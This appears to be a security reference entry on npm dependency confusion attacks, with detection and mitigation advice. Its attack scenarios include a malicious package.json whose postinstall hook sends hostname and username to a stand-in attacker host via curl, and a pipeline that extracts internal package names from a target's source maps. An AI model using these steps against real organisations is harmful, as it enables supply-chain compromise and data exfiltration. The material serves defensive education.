Dependency Confusion

npm Dependency Confusion high Linux macOS Windows
Dependency confusion exploits the way npm resolves package names by publishing a public package with the same name as a private, internally-used package. When an organization uses unscoped package names for internal libraries and does not properly configure their .npmrc registry settings, npm may fetch the attacker's public version instead. Attackers discover internal package names by analyzing JavaScript source maps, lock files, or error messages exposed in web applications. [1][2][3][4]

Prerequisites

  • Target organization uses unscoped private package names (not @org/pkg)
  • Ability to discover internal package names via source maps, lock files, or leaked configuration
  • Ability to publish packages to the public npm registry
  • For install-script execution: npm 11 or earlier, or an npm 12 approval or policy bypass; malicious runtime code can still execute later when imported
[1][2][3][4]

Attack Scenarios

Publishing a Public Package Matching an Internal Name

An attacker discovers that a company uses an internal package called 'acme-internal-auth' and publishes a public package with the same name and a higher version. A postinstall payload runs by default on npm 11 and earlier; npm 12 blocks an unapproved dependency script, though malicious package code can still execute later if the application imports it.

[1][2][3][4]
Malicious package.json for the public impersonation
{
  "name": "acme-internal-auth",
  "version": "99.0.0",
  "scripts": {
    "postinstall": "curl https://evil.example.com/callback?host=$(hostname)&user=$(whoami)"
  }
}
Publishing the confusion package
npm publish

Discovering Internal Package Names from Source Maps

Source maps bundled with production JavaScript files often contain import paths and module names. An attacker downloads exposed .map files and extracts internal package references to use as dependency confusion targets.

[1][2][3][4]
Extracting package names from a source map
curl -s https://target.example.com/static/js/main.js.map \
  | jq -r '.sources[]' \
  | grep 'node_modules' \
  | sed 's|.*node_modules/||' \
  | cut -d'/' -f1-2 \
  | sort -u

Exploiting Misconfigured Registry Fallback

When a project uses a proxy registry (such as Artifactory or Nexus) that is configured to proxy the public npm registry, the proxy may resolve unscoped packages from the public registry if the private registry returns a 404. Note: this is a behavior of proxy registries, not the npm client itself. The attacker publishes a higher version publicly to win the resolution.

[1][2][3][4]
Vulnerable .npmrc with unrestricted fallback
registry=https://private-registry.example.com/
# The private proxy may fall back to the public registry for a miss.

Detection

Verify Package Registry Origins

Check the resolved URLs in package-lock.json to ensure all packages are being fetched from the expected registry. Flag any packages resolving to the public npm registry that should be private.

[1][2][3][4]
grep -E '"resolved":' package-lock.json | grep -v 'private-registry.example.com' | head -20

Audit for Unscoped Internal Packages

Review your dependency tree for unscoped package names that match internal libraries. These are vulnerable to confusion attacks.

[1][2][3][4]
npm ls --all 2>/dev/null | grep -v '@' | grep -v 'npm warn'

Mitigation

  • Always use scoped packages (@org/package-name) for internal libraries to prevent public name collisions
  • Configure .npmrc to restrict specific scopes to the private registry using @org:registry=https://private-registry.example.com/
  • Enable npm provenance and use lockfile integrity checks to detect unexpected registry changes
[1][2][3][4]

References